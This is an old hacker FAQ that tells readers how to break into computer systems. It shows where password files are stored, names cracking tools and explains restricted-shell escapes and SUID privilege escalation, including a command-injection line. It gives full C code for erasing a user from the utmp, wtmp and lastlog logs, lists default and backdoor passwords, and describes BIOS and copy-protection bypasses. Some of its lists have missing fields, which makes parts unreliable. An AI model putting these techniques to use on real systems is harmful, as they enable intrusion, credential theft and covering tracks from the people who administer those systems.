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Section A -- Computers

A-01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. An entry in the password file consists of seven colon delimited fields:

Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory
Sample entry from /etc/passwd:

voyager:5fg63fhD3d5gh:9406:12:The Voyager:/home/voyager:/bin/bash

Broken down, this passwd file line shows:

Username voyager
Encrypted password 5fg63fhD3d5gh
User number 9406
Group Number 12
Home directory /home/voyager
Shell /bin/bash

A-02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program accepts the text you enter at the "Password:" prompt and then runs it through a cryptographic algorithm. The results of that algorithm are then compared against the encrypted form of your password stored in the passwd file.

On a more technical level, the password that you enter is used as a key to encrypt a 64-bit block of NULLs. The first seven bits of each character are extracted to form a 56-bit key. This means that only eight characters are significant in a standard Unix password. The E-table is then modified using the salt, which is a 12-bit value, coerced into the first two chars of the stored passwd. The salt's purpose is to make precompiled passwordd lists and DES hardware chips more time consuming to use. DES is then invoked for 25 iterations. The 64-bit output block and is then coerced into a 64-character alphabet (A-Z,a-z,".","/"). This involves translations in which several different values are represented by the same character, which is why Unix passwords cannot be decrypted.

Password cracking software uses wordlists. Each word in the wordlist is encrypted using the algorithm described above and the salts from the password file. The results are then compared to the encrypted form of the target password.

The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. For the Macintosh, try Killer Cracker or Mac Krack.

A-03. What is password shadowing?

Password shadowing is a security system where the encrypted password field of /etc/passwd is replaced with a special token and the encrypted password is stored in a separate file which is not readable by normal system users.

On older systems, password shadowing was often defeated by using a program that made successive calls to getpwent() to obtain the entire password file. Modern Unix systems are not susceptible to this attack.


#include <pwd.h>
struct passwd *p;
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);

A-04. Where can I find the password file if it's shadowed?

Unix Path Token
AIX 3 and AIX 4 /etc/security/passwd
/tcb/auth/files/<first letter of username>/<username>

A/UX 3.0s /tcb/files/auth/?/*  
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix 3.2.x /tcb/auth/files/<first letter of username>/<username> *
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 / Solaris 2.x /etc/shadow
Optional NIS+ private secure maps
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database  
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *

A-05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose of NIS is to allow many machines on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file that includes a line that looks like this:


To view the real password file use this command `ypcat passwd`

A-06. What are those weird characters after the comma in my passwd file?

The characters are password aging data. Password aging forces the user to change passwords after a system administrator-specified period of time. Password aging can also force a user to keep a password for a certain number of weeks before changing it.

Sample entry from /etc/passwd with password aging installed:

voyager:5fg63fhD3d,M.z8:9406:12:The Voyager:/home/voyager:/bin/bash

Note the comma in the encrypted password field. The characters after the comma are used by the password aging mechanism.

Password aging characters from above example:


The four characters are interpreted as follows:

1 Maximum number of weeks a password can be used without changing.
2 Minimum number of weeks a password must be used before changing.
3&4 Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

  1. If the first and second characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. The passwd program will then remove the passwd aging characters, and the user will not be subjected to password aging requirements again.
  2. If the third and fourth characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. Password aging will then occur as defined by the first and second characters.
  3. If the first character (MAX) is less than the second character (MIN), the user is not allowed to change his/her password. Only root can change that users password.

It should also be noted that the su command does not check the password aging data. An account with an expired password can be su'd to without being forced to change the password.

Password Aging Codes

Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H
Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

Character: I J K L M N O P Q R S T U V W X Y Z a b
Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

Character: c d e f g h i j k l m n o p q r s t u v
Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59

Character: w x y z  
Number: 60 61 62 63  

A-07. How do I access the password file under Windows NT?

Windows NT stores encrypted password hashes in the Registry. RDISK stores a compressed backup copy of the the password hashes is stored in %SystemRoot%\repair\sam._.

If you can access the Registry you can use PWDump by Jeremy Allison to view this data. The PWDump utility is freely available at http://us1.samba.org/samba/ftp/pwdump/.

PWDump output consists of seven colon delimited fields:

User number
Encrypted password
LAN Man Password Hash
Windows NT Password Hash
Full Name and Description
Home directory

Sample passwd entry:

voyager:1000:30FA7B24C6108C5A8B4BCCA42D5816FF:B3823C82B43238D31BAF98FA4035255F:The Voyager, FAQ Author::

Broken down, this password entry shows:

Username voyager
User number 1000
Encrypted password 5fg63fhD3d5gh
LAN Man Password Hash 30FA7B24C6108C5A8B4BCCA42D5816FF
Windows NT Password Hash B3823C82B43238D31BAF98FA4035255F
Full Name and Description The Voyager, FAQ Author
Home directory  

A-08. How do I crack Windows NT passwords?

Windows NT passwords are encrypted with a one way function. This is similar to the way that Unix stores passwords, except that the Microsoft algorithm is significantly weaker.

Windows NT password can be cracked using wordlists. This is much the same as attacking Unix passwords with word lists, except that Microsoft passwords are much easier to crack.

In addition, Microsoft passwords can be brute forced. This means that every password on the system can be retrieved.

The best cracking program for Windows NT passwords is currently L0phtCrack by Mudge and Weld Pond. L0phtCrack is available at http://www.atstake.com/research/lc/.

A-09. How do I access the password file under VMS?

Under VMS, the password file is normally stored as SYS$SYSTEM:SYSUAF.DAT. However, unlike traditional Unixen, most users do not have access to read the password file.

Some administrators will move SYS$SYSTEM:SYSAUF.DAT, in an attempt to increase security through obscurity. In this case, `DIR SYSAUF` or `SHOW LOG SYSAUF` should point you to the new location of the file.

A-10. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD.

A-11. What can be logged on a VMS system?

Virtually every aspect of the VMS system can be logged for investigation. To determine the status of the accounting on your system use the command SHOW ACCOUNTING. System accounting is a facility for recording information about the use of the machine from a system accounting perspective (resource logging such as CPU time, printer usage, etc.), while system auditing is done with the aim of logging information for the purpose of security. To enable accounting:

$ SET ACCOUNTING [/ENABLE=(Activity...)]

This enables accounting logging information to the accounting log file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close the current log file and open a new one with a higher version number.

The following activities can be logged:

BATCH Termination of a batch job
DETACHED Termination of a detached job
IMAGE Image execution
INTERACTIVE Interactive job termination
LOGIN_FAILURE Login failures
MESSAGE Users' messages
NETWORK Network job termination
PRINT Print Jobs
PROCESS Any terminated process
SUBPROCESS Termination of a subprocess

To enable security auditing use:

$ SET AUDIT [/ENABLE=(Activity...)]

The /ALARM qualifier is used to raise an alarm to all terminals approved as security operators, which means that you need the SECURITY privileges. You can determine your security auditing configuration using $ SHOW AUDIT /ALL

The security auditor can be configured to log the following activities:

ACL Access Control List requested events
AUTHORIZATION Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN Attempted Break-ins
FILE_ACCESS File or global section access
INSTALL Occurrence of any INSTALL operations
LOGFAILURE Any login failures
LOGIN A login attempt from various sources
LOGOUT Logouts
MOUNT Mount or dismount requests

A-12. What privileges are available on a VMS system?

ACNT Allows you to restrain accounting messages
ALLSPOOL Allows you to allocate spooled devices
ALTPRI Allot Priority. This allows you to set any priority value
BUGCHK Allows you make bug check error log entries
Enables you to disregard protections
CMKRNL Change to executive or kernel mode. These privileges
allow a process to execute optional routines with KERNEL
and EXECUTIVE access modes. CMKRNL is the most powerful
privilege on VMS as anything protected can be accessed
if you have this privilege. You must have these
privileges to gain access to the kernel data structures
DETACH This privilege allow you to create detached processes of arbitrary UICs
DIAGNOSE With this privilege you can diagnose devices
EXQUOTA Allows you to exceed your disk quota
GROUP This privilege grants you permission to affect other
processes in the same rank
GRPNAM Allows you to insert group logical names into the group
logical names table.
GRPPRV Enables you to access system group objects through
system protection field
LOG_IO Allows you to issue logical input/output requests
MOUNT May execute the mount function
NETMBX Allows you to create network connections
OPER Allows you to perform operator functions
PFNMAP Allows you to map to specific physical pages
PHY_IO Allows you to perform physical input output requests
PRMCEB Can create permanent common event clusters
PRMGBL Allows you to create permanent global sections
PRMMBX Allows you to create permanent mailboxes
PSWAPM Allows you to change a processes swap mode
READALL Allows you read access to everything
SECURITY Enables you to perform security-related functions
SETPRV Enable all privileges
SHARE Allows you to access devices allocated to other users.
This is used to assign system mailboxes.
SHMEM Enables you to modify objects in shared memory
SYSGBL Allows you to create system wide permanent global sections
SYSLCK Allows you to lock system wide resources
SYSNAM Allows you to insert in system logical names in the
names table.
SYSPRV If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX Allows you to create temporary mailboxes
VOLPRO Enables you to override volume protection
WORLD When this is set you can affect other processes in the

To determine what privileges your process is running with issue the command:

$ show proc/priv

A-13. How do I break out of a restrictive shell?

A restrictive shell is a shell that has been modified to allow you to do fewer things than a normal shell would allow you to do. It may allow you to run only certain programs. It may stop you from changing directories. Many sites run their own restrictive shells to allow limited use of their systems over the Internet. Restrictive shells often make use of the restricted shell (rsh).

On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command:

:set shell=/bin/sh

then shell using this command:


Many menu based restricted shells will allow you to configure your user environment, or to run programs that allow you to configure your user environment. Look for configuration options that refer to executable programs. If the program lets you define an editor, for example, try to set your editor to "/bin/csh -i -f"

If you are not allowed to read files, try to open them inside the e-mail program.

If you are not allowed to edit files, try to save that to file from the e-mail program.

If your restricted shell prevents you from using the "cd" command, try to FTP into your account and change directories. FTP can aso be used to edit files by getting the file, editing it offline, and putting the net file back online.

Like most hacking, trying things is often the most successful strategy.

A-14. How do I gain root from a SUID script or program?

  1. Change IFS.

If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:


and you change IFS to '/' the shell will them interpret the proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date.

To change IFS, use this command:

Bourne Shell IFS='/';export IFS
C Shell setenv IFS '/'
Korn Shell export IFS='/'

  1. Link the script to -i

Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts.


% ln suid.sh -i

% -i

  1. Exploit a race condition

Replace a symbolic link to the program with another program while the kernel is loading /bin/sh.


nice -19 suidprog ; ln -s evilprog suidroot

  1. Send bad input to the program.

Invoke the name of the program and a separate command on the same command line.


suidprog ; id

A-15. How do I erase my presence from the system logs?

Edit utmp (usually /etc/utmp), wtmp (usually /usr/adm/wtmp), and lastlog (usually /usr/adm/lastlog) These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.


#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
    struct utmp utmp_ent;
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
void kill_wtmp(who)
char *who;
    struct utmp utmp_ent;
    long pos;
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
void kill_lastlog(who)
char *who;
    struct passwd *pwd;
    struct lastlog newll;
     if ((pwd=getpwnam(who))!=NULL) {
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
    } else printf("%s: ?\n",who);
int argc;
char *argv[];
    if (argc==2) {
    } else

A-16. How do I change to directories with strange characters in them?

These directories are often used by people trying to hide information, most often warez (commercial software).

There are several things you can do to determine what these strange characters are. One is to use the arguments to the ls command that cause ls to give you more information:

From the man page for ls:

Causes directories to be marked with a trailing ``/'', executable files to be marked with a trailing ``*'', and symbolic links to be marked with a trailing ``@'' symbol.
Forces printing of non-graphic characters in filenames as the character ``?''.
Forces printing of non-graphic characters in the \ddd notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to save the directory of the remote ftp site as a file on your local machine. Then you can do a "cat -t -v -e filename" to see exactly what those bizarre little characters are.

From the man page for cat:

Causes non-printing characters (with the exception of tabs, newlines, and form feeds) to be displayed. Control characters are displayed as ^X (<Ctrl>x), where X is the key pressed with the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The <Del> character (octal 0177) is printed as ^?. Non-ASCII characters (with the high bit set) are printed as M -x, where x is the character specified by the seven low order bits.
Causes tabs to be printed as ^I and form feeds as ^L. This option is ignored if the -v option is not specified.
Causes a ``$'' character to be printed at the end of each line (prior to the new-line). This option is ignored if the -v option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name in quotes. Example:

cd "..<TAB>"

On an IBM-PC, you may enter these special characters by holding down the <ALT> key and entering the decimal value of the special character on your numeric keypad. When you release the <ALT> key, the special character should appear on your screen. An ASCII chart can be very helpful.

Sometimes people will create directories with some of the standard stty control characters in them, such as ^Z (suspend) or ^C (intr). To get into those directories, you will first need to user stty to change the control character in question to another character.

From the man page for stty:

Control assignments

control-character C

Sets control-character to C, where control-character is erase, kill, intr (interrupt), quit, eof, eol, swtch (switch), start, stop or susp.

start and stop are available as possible control characters
for the control-character C assignment.

If C is preceded by a caret (^) (escaped from the shell), then the value used is the corresponding control character (for example, ^D is a <Ctrl>d; ^? is interpreted as DELETE and ^- is interpreted as undefined).

Use the stty -a command to see your current stty settings, and to determine which one is causing you problems.

A-17. What is this system?


IBM AIX Version 3 for RISC System/6000 (C) Copyrights by IBM and by others 1982, 1990. login:

[You will know an AIX system because it is the only Unix system that clears the screen and issues a login prompt near the bottom of the screen]



Once in, type GO MAIN

CDC Cyber


88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.

You would normally just hit return at the family prompt. Next prompt is:


CISCO Router


  95-866 TNO VirtualBank
REMOTE Router - TN043R1

Console Port

SN - 00000866



DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1 DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO


Hewlett Packard MPE-XL








Lantronix Terminal Server

Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail

Meridian Mail (Northern Telecom Phone/Voice Mail System)
                   MMM       MM MERIDIAN
                  MMMMM     MMMMM
                 MMMMMM   MMMMMM
                MMM  MMMMM  MMM     MMMMM     MMMMM
               MMM   MMM   MMM     MMMMMM   MMMMMM
              MMM         MMM     MMM MMM MMM MMM
             MMM         MMM     MMM  MMMMM  MMM
            MMM         MMM     MMM   MMM   MMM
           MMM         MMM     MMM         MMM
          MMM         MMM     MMM         MMM
         MMM         MMM     MMM         MMM
        MMM         MMM     MMM         MMM
       MMM         MMM     MMM         MMM
      Copyright (c) Northern Telecom, 1991

Novell ONLAN

<Control-A aka smiley face>N

[To access the systems it is best to own a copy of ONLAN/PC]


<Control-A aka smiley face>P

[To access the systems it is best to own a copy of PCAnywhere Remote]



<any text>



Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)


ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568 BIND DATE: 7/APR/93
12:38:47 ON WEDNESDAY 2/15/1995





MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47 RELEASE 8003

ROLM PhoneMail

ROLM PhoneMail 9252 9254 Microcode Version 4.2 Copyright (C) ROLM Systems 1991
All Rights Reserved.

PM Login>
PM Password>



Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]


NIH Timesharing

NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12 Please LOGIN





TBVM2 VM/ESA Rel 1.1 PUT 9200

Fill in your USERID and PASSWORD and press ENTER (Your password will not appear when you type it) USERID ===>


Xylogics Annex Communications Server

Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait... -  
Annex username: TNO - Optional security check
Annex password: - Not always present

Permission granted

A-18. What are the default accounts for XXX?


qsecofr qsecofr /* master security officer */
qsysopr qsysopr /* system operator */

qpgmr /* default programmer */
ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qserv qserv
qsvr qsvr
secofr secofr
qsrv ibmce1



Dynix (The library software, not the UnixOS)

setup <no password>
library <no password>
circ <Social Security Number>

(Type 'later' to exit to the login prompt)

Hewlett Packard MPE-XL


Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS

Sysop Sysop

Mitel PBX


Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3

fax <no password>


DSA # Desquetop System Administrator




NETOP <null>

Radio Shack Screen Savers



CBX Defaults

op op
op operator
su super
admin pwp
eng engineer

PhoneMail Defaults

sysadmin sysadmin
tech tech
poll tech



1,1/system (Directory [1,1] Password SYSTEM)

Default accounts for Micro/RSX:


Alternately you can hit <CTRL-Z> when the boot sequence asks you for the date and create an account using:


(Numbers below 10 {oct} are privileged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt, type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the new step won't wedge.

type " run $acnt" and change the password of any account with a group number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well. Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system, just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx. then deposit 177777 into R6, cross your fingers, write protect the drive and continue the system. This will hopefully result in indirect blowing up... And hopefully the system has not been fully secured.

SGI Irix

4DGifts <no password>
guest <no password>
demos <no password>
lp <no password>
nuucp <no password>
tour <no password>
tutor <no password>

SGI Irix

bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field

Taco Bell

rgm rollout
tacobell <null>

Verifone Junior 2.05

Default password: 166816


field service
systest utep

XON / XON Junior

Default password: 166831

A-19. What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:


Remember the Trojan Horse? Bad guys hid inside it until they could get into the city to do their evil deed. A trojan computer program is similar. It is a program which does an unauthorized function, hidden inside an authorized program. It does something other than what it claims to do, usually something malicious (although not necessarily!), and it is intended by the author to do whatever it does. If it's not intentional, its called a 'bug' or, in some cases, a feature :) Some virus scanning programs detect some trojans. Some virus scanning programs don't detect any trojans. No virus scanners detect all trojans.


A virus is an independent program which reproduces itself. It may attach to other programs, it may create copies of itself (as in companion viruses). It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some virus scanners detect some viruses. No virus scanners detect all viruses. No virus scanner can protect against "any and all viruses, known and unknown, now and forevermore".


Made famous by Robert Morris, Jr., worms are programs which reproduce by copying themselves over and over, system to system, using up resources and sometimes slowing down the systems. They are self contained and use the networks to spread, in much the same way viruses use files to spread. Some people say the solution to viruses and worms is to just not have any files or networks. They are probably correct. We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a designated condition is met. For instance, a logic bomb could delete all files on Dec. 5th. Unlike a virus, a logic bomb does not make copies of itself.

A-20. How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors. You can help protect yourself against those by write protecting all disks which you do not need write access to. Definitely keep a set of write protected floppy system disks. If you get a virus, it will make things much simpler. And, they are good for coasters. Only kidding.

Scan all incoming files with a recent copy of a good virus scanner. Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and Thunderbyte Anti-Virus. AVP is also a good program. Using more than one scanner could be helpful. You may get those one or two viruses that the other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now. NO scanner can keep up with them all, but the four mentioned here do the best job of keeping current. Any good scanner will detect the majority of common viruses. No virus scanner will detect all viruses.

Right now there are about 5600 known viruses. New ones are written all the time. If you use a scanner for virus detection, you need to make sure you get frequent updates. If you rely on behavior blockers, you should know that such programs can be bypassed easily by a technique known as tunnelling.

You may want to use integrity checkers as well as scanners. Keep in mind that while these can supply added protection, they are not foolproof.

You may want to use a particular kind of scanner, called resident scanners. Those are programs which stay resident in the computer memory and constantly monitor program execution (and sometimes even access to the files containing programs). If you try to execute a program, the resident scanner receives control and scans it first for known viruses. Only if no such viruses are found, the program is allowed to execute.

Most virus scanners will not protect you against many kinds of trojans, any sort of logic bombs, or worms. Theoretically, they could protect you against logic bombs and/or worms, by addition of scanning strings; however, this is rarely done.

The best, actually only way, to protect yourself is to know what you have on your system and make sure what you have there is authorized by you. Make frequent backups of all important files. Keep your DOS system files write protected. Write protect all disks that you do not need to write to. If you do get a virus, don't panic. Call the support department of the company who supplies your anti-virus product if you aren't sure of what you are doing. If the company you got your anti-virus software from does not have a good technical support department, change companies.

The best way to make sure viruses are not spread is not to spread them. Some people do this intentionally. We discourage this. Viruses aren't cool.

A-21. Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly language programming books illustrate the (boring) aspect of replication and have for a long time. The most exciting/interesting thing about viruses is all the controversy around them. Free speech, legality, and cute payloads are a lot more interesting than "find first, find next" calls. You can get information about the technical aspects of viruses, as well as help if you should happen to get a virus, from the virus-l FAQ, posted on comp. virus every so often. You can also pick up on the various debates there. There are alt.virus type newsgroups, but the level of technical expertise is minimal, and so far at least there has not been a lot of real "help" for people who want to get -rid- of a virus.

There are a lot of virus experts. To become one, just call yourself one. Only Kidding. Understanding viruses involves understanding programming, operating systems, and their interaction. Understanding all of the 'Cult of Virus' business requires a lot of discernment. There are a number of good papers available on viruses, and the Cult of Virus; you can get information on them from just about anyone listed in the virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de is a pretty reliable site for programs and text.

A-22. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from Computer Security Basics by Deborah Russell and G.T. Gengemi Sr.

A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists.

A-23. What is PGP?

This FAQ answer is excerpted from PGP(tm) User's Guide; Volume I: Essential Topics by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses.

A-24. What is TEMPEST?

TEMPEST stands for Transient Electromagnetic Pulse Surveillance Technology.

Computers and other electronic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart.

What is important for an observer is the emission of digital pulses (1s and 0s) as these are used in computers. The channel for this radiation is in two arrangements, radiated emissions and conducted emissions. Radiated emissions are assembled when components in electrical devices form to act as antennas. Conducted emissions are formed when radiation is conducted along cables and wires.

Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electronic equipment to attempt to pick up and decipher the radiated emissions from her video monitor. These emissions normally exist at around 55-245 Mhz and can be picked up as far as one kilometer away.

A monitoring device can distinguish between different sources emitting radiation because the sources emanating the radiation are made up of dissimilar elements and so this coupled with other factors varies the emitted frequency. For example different electronic components in VDUs, different manufacturing processes involved in reproducing the VDUs, different line syncs, etc... By synchronizing our raster with the targets raster we can passively draw the observed screen in real-time. This technology can be acquired by anyone, not just government agencies.

The target could shield the emissions from her equipment or use equipment that does not generate strong emissions. However, TEMPEST equipment is not legal for civilian use in the United States.

TEMPEST is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping. TEMPEST certification refers to the equipment having passed a testing phase and agreeing to emanations rules specified in the government document NACSIM 5100A (Classified). This document sets forth the emanation levels that the US Government believes equipment can give off without compromising the information it is processing.

For more information concerning TEMPEST, visit The Complete, Unofficial TEMPEST Information Page.

A-25. How do I defeat Copy Protection?

There are two common methods of defeating copy protection. The first is to use a program that removes copy protection. Popular programs that do this are CopyIIPC from Central Point Software and CopyWrite from Quaid Software. The second method involves patching the copy protected program. For popular software, you may be able to locate a ready made patch. You can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If you cannot, you must patch the software yourself.

Writing a patch requires a debugger or a disassembler. It also requires some knowledge of assembly language. Load the protected program under the debugger and watch for it to check the protection mechanism. When it does, change that portion of the code. The code can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions.

A-26. What are some available debuggers and disassemblers?


Soft-Ice ($439)
Soft-Ice for Windows ($329)
Soft-Ice for Windows95 ($329)
Soft-Ice for WindowsNT ($329)
Nu-Mega Technologies, Inc.
9 Townsend West
Nashua, NH 03063

D86: Eric Isaacson's ShareWare debugger

BrandX full-screen debugger


Sourcer ($95)
V Communications, Inc.
4320 Stevens Creek Boulevard
Suite 120
San Jose, CA 95129
(408)296-4441 Fax
E-mail: sales@v-com.com

IDA Pro(Interactive Disassembler)

A-27. How do I defeat a BIOS password?

This depends on what BIOS the machine has. Common BIOS's include AMI, Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are the most common.

Some BIOS's allow you to require a password be entered before the system will boot. Some BIOS's allow you to require a password to be entered before the BIOS setup may be accessed.

Every BIOS must store this password information somewhere. If you are able to access the machine after it has been booted successfully, you may be able to view the password. You must know the memory address where the password is stored, and the format in which the password is stored. Or, you must have a program that knows these things.

You can write your own program to read the CMOS memory on a PC by writing the address of the byte of CMOS memory that you wish to read in port 0x370, and then reading the contents of port 0x371.

The most common pre-written BIOS password attack programs are for AMI BIOS. Some password attack programs will return the AMI BIOS password in plain text, some will return it in ASCII codes, some will return it in scan codes. This appears to be dependent not just on the password attacker, but also on the version of AMI BIOS.

To obtain AMI BIOS password attackers, ftp to oak.oakland.edu /pub/simtelnet/msdos/sysutl/.

Award BIOS appears not to store the BIOS password, but instead only stores a two byte checksum of the BIOS password. This means that any other password with the same checksum will work just as well as the original password.

In addition, Award BIOS seems to implement backdoor passwords. One backdoor password is eight spaces. Other backdoor passwords are "AWARD_SW", "AWARD_PW", "589589", "condo", "j262", "KDD", "ZBAAACA", "ZAAAADA", and "ZJAAADC." Remember that these may not be the actual backdoor passwords, these passwords may simply have the same checksum as the actual backdoor passwords. This checksum is stored at F000:EC60.

If you cannot access the machine after if has been powered up, it is still possible to get past the password. The password is stored in CMOS memory that is maintained while the PC is powered off by a small battery, which is attached to the motherboard. If you remove this battery, all CMOS information will be lost. You will need to re-enter the correct CMOS setup information to use the machine. The machines owner or user will most likely be alarmed when it is discovered that the BIOS password has been deleted.

